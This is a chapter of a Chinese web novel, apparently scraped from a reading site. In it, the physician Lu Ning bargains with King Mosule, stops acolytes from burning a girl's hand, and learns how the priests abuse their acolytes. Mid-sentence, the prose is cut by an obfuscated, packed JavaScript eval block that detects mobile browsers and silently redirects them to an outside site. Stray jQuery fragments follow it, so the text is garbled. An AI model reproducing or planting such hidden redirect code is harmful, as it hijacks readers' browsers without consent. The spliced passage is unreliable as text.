36. 鱼饵
作品:《百草留芳》 “你可以带走你的孩子,但我有条件。”
莫苏勒站起身,居高临下地看着陆凝,“你要医治军队中所有受伤的人。”
「?就这?」
对于陆凝来说,医治伤员不是什么大问题,可这件事从莫苏勒口中说出来就明显不是这么简单的意思了。
至于更深的用意,她很快就想明白了,无非呢,就是要让她来当那个挑战神权的炮灰了,
陆凝苦笑着说道:“王上,您这是在给我招惹麻烦啊,那位祭司大人,会同意吗?”
“那这就是你的事情了。”莫苏勒唇角勾着得意,朝帐外喊道,“卢罕,把一旁的小帐分她一个。”
身为侍从却又自己独属的小帐,陆凝知道这是怎样的殊荣,却也清楚明白自己即将接受风雨,即使如此,她也只有无可奈何地接受。
于是她麻利地行动起来,离开王帐后便直奔军营。
闲杂人不允许靠近军营,陆凝只能在营帐周围溜达,企图能遇上些熟人,好在今日足够幸运,兜兜转转,在马厩边上看到了狄鲁图。
狄鲁图正在修理马鞍,见到她立刻站起身,“恩人,有什么事吗?”
“你别恩人恩人的叫了,我叫陆凝。”
「求人帮忙第一步,拉近距离。」
“哦,好的,恩人。”狄鲁图憨厚地笑着。
“算了,随你。”陆凝无奈摇头,她发现这个大块头哪都好,就是有点认死理。
“我来找你是想让你帮我一个忙。”
狄鲁图闻言,眼睛都亮了几分,挺起胸膛,“恩人你尽管说,狄鲁图赴汤蹈火在所不惜。”
陆凝四下看了看,拉着他小声问道:“军队中有多少人都和你一样信仰狼神。”
她大胆猜测,莫苏勒或许就是这个狼神的象征。
“这个,我说不准。”狄鲁图挠挠头,犹豫起来,“身为敕拓子民应当都信奉羊神。”
此话一出,陆凝顿时间只觉得前路黑暗。
「靠!莫苏勒这家伙故意耍我吧!」
“那我换个说法,”她继续问道,“你觉得有多少人会相信我能够医治他们?”
狄鲁图仔细思考了一会儿,认真数道:“几个,或者十几个。”
这次,陆凝却有些诧异了,如果将相信医术带入为相信莫苏勒,堂堂一个部落藩王,手下的人却没多少全心全意信任自己,这得有多悲哀。
但这个人都能让阿纳芹娅忠心臣服自己,又为何收服不了军心呢?
很快,陆凝便想明白了其中关窍,莫苏勒不是把自己当炮灰,而是拿她当鱼饵打窝啊。
她问道:“那你能帮我把他们找来吗?”
狄鲁图点点头,“当然。”
陆凝又叮嘱道:“别太引人注目,只管说这是王上的意思。”
「哼哼,莫苏勒,是你先不仁,休怪我无义。」
==================================================================================================
入夜,沙漠中万籁俱寂,呼莫尔部落中的某处营帐中却传出了激烈的争吵声。
“我没得罪过你们,你们凭什么这样做?”一个身形瘦小的女孩不服气地质问。
在她的对面,是几个和她穿着相同的人,有男有女,却个个比她高出许多。
中间那个皮肤黝黑的男孩冷笑着,“凭什么?就凭你看了祭司大人的书。”
女孩倔强地反驳道:“我们都是使徒,将来都是能成为祭司甚至大祭司的,凭什么看不得那些书。”
“啪!”
男孩猛然甩手打了她一巴掌,脸上露出了丑陋的恶意和狞笑。
“你是在妄想谋取祭司大人的地位吗?”
“把她的手给我废了。”
在他身后的几人闻言,立刻上前,一人按住女孩的肩膀,一人扯着女孩的双手,伸向面前炭火赤红的火盆。
“啊!”女孩发出一声惨叫,即刻有人捂上了她的嘴。
就在此时,门外传来一声厉喝。
“住手!”
“大半夜你们在做什么?”陆凝走进来,面色不善。
男孩不屑地瞥了她一眼,“你少管闲事。”
“闲事?”陆凝冷笑。
她没什么管闲事的爱好,只是这群人好死不死就在自己的帐子附近吵,大半夜的还让不让人睡觉。
「本来每天上班就烦,晚上连觉都不让人好好睡吗?」
“对王上来说,整个部落中的事都是闲事?”她冷眼睨着面前的几人,“呼莫尔部族什么时候是祭司当家做主了?”
她可最喜欢“仗势欺人”了。
“你一个小小侍从,也敢用王上来威胁我们?”男孩虽然嘴上强硬,可尾音却已经有些飘了。
身后几人手上的力道也松了几分。
他们自然认得,这个多管闲事的女人是王上的贴身侍从,还是这么多年以来的头一位,不管她靠的是什么,多少还是要忌惮几分的。
陆凝上前一步,盯着他的双眼,“王上正在帐中批阅军务,要不然你们去王上面前吵,还是说我在当差时跟王上讲讲你们伟大事迹?”
紧接着她又继续阴阳怪气道:“王上敬重祭司,可看不上你们两个小小使徒。”
果然,此话一出,男孩瞬间哑声,使徒们面面相觑,交换了一个眼神后,悻悻地松开了那女孩。
“哼,我们走。”
女孩瘫坐在地上,浑身已经被冷汗浸湿。
“你没事吧。”陆凝赶忙上前搀扶,走近了才发现眼前之人似乎有些熟悉,“怎么是你?”
正是那晚受伤躲在外面偷偷哭泣的那个女孩。
女孩的右手掌心已经被炭火烫的血肉模糊,疼得说不出话来。
“我的帐子在旁边,你过来,我帮你包扎一下。”
陆凝扶着女孩回了自己的帐篷。
“这是你……?”见到床上熟睡的小孩子,女孩明显有些拘谨。
“女儿。”陆凝简短回答,取出药箱,“忍着点,会很痛。”
女孩的手臂上依旧充斥着大大小小新旧交加的鞭痕,如今旧伤未愈又添新伤,陆凝不由得紧蹙眉头。
“你们使徒的境遇这么糟糕啊?”
女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344258|181159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孩苦笑,嘴唇惨白,“祭司难有一个,使徒却人数众多。”
陆凝顿时对这些产生了好奇。
“使徒能成为祭司吗?”
“我们都是父母双亡,无依无靠的人,从小便被选进祭司殿,成为使徒,”女孩眼中泛起泪光,“可只有天资出众的人才能被准许学习祭祀之法,剩下的无论再怎么努力都只能是使徒。”
资深牛马陆凝狠狠共情了,他们这些没有门路的医生要想晋升就只能等着熬着,熬走那一位上司,才能勉强获得个晋升的资格。
“说的好听一点,祭司与使徒是师生关系,可实际上我们就是他的奴仆,动辄打骂,学习祭祀之法都成了他的恩赐。”
陆凝又问道:“就没有什么逃离的办法吗?”
女孩摇摇头,绝望之意更甚,“过了二十岁还没成为祭司的使徒只有死路一条。自然也是有能活着离开的办法,只要祭司自己愿意,便能掌握手下使徒们的生死,可又有哪一个愿意放弃这样的权力和苦力呢?”
陆凝若有所思,片刻后转移了话题,“祭司都是从王城分发下来的吗?”
“嗯,”女孩点头,“他们既负责每个部落的祭祀事宜,也负责监督每一个藩王的言行。”
「原来如此,怪不得会分两派。」
陆凝心中豁然开朗,两派之间的矛盾可不只是信仰不同这么简单,既然如此,她说不定能从其中做些什么文章。
包扎完毕,陆凝拍拍女孩的肩膀,“你今晚先在我这里休息吧,明早给你换了药再回去。”
女孩感激地点点头,“多,多谢。”
夜深了,陆凝望着帐顶,听着身旁两个孩子均匀的呼吸声,心中思绪万千,筹划着新的点子。
******
“你挺威风啊,大晚上不睡觉是白日活做少了吗?”
莫苏勒沉闷的声音自上而下传来。
陆凝跪在地上,委屈地说道:“王上,打狗都要看主人,他们欺负我,就是在您头上撒泼啊。”
「他们在你头上拉屎啊,能忍吗?能忍吗?反正我是忍不了。」
眼看着就要挤出两滴眼泪来,可莫苏勒从她脸上看到的全是不服气。
陆凝故意夸张地比划着,“身为您的贴身侍从,欺负我事小,但王上您丢面子事大,那奴必须要将王上您的面子找回来啊。”
一旁的阿纳芹娅没忍住,“噗”地笑出声来。
陆凝偷偷瞟一眼过去。
「笑笑笑,也不知道帮我说句话,我们的革命友情呢?」
阿纳芹娅似乎是看懂了她眼神中的意思,心虚地别开视线,开始欣赏起今日的帐顶。
莫苏勒眯起眼睛,目光扫过陆凝,“行了,我不多计较,之后的事你自己解决清楚,别指望我会帮你。”
“谢王上。”陆凝松了口气,乖巧地笑了笑。
莫苏勒喝着茶,不经意扫到她得意的表情,嘴角浮上一抹难以察觉的笑意。
“报!”
一名士兵急匆匆跑来,单膝跪地。
“禀报王上,王城传来消息,可汗已逝,太子继位。”
帐中三人皆是一惊。
“知道了,下去吧。”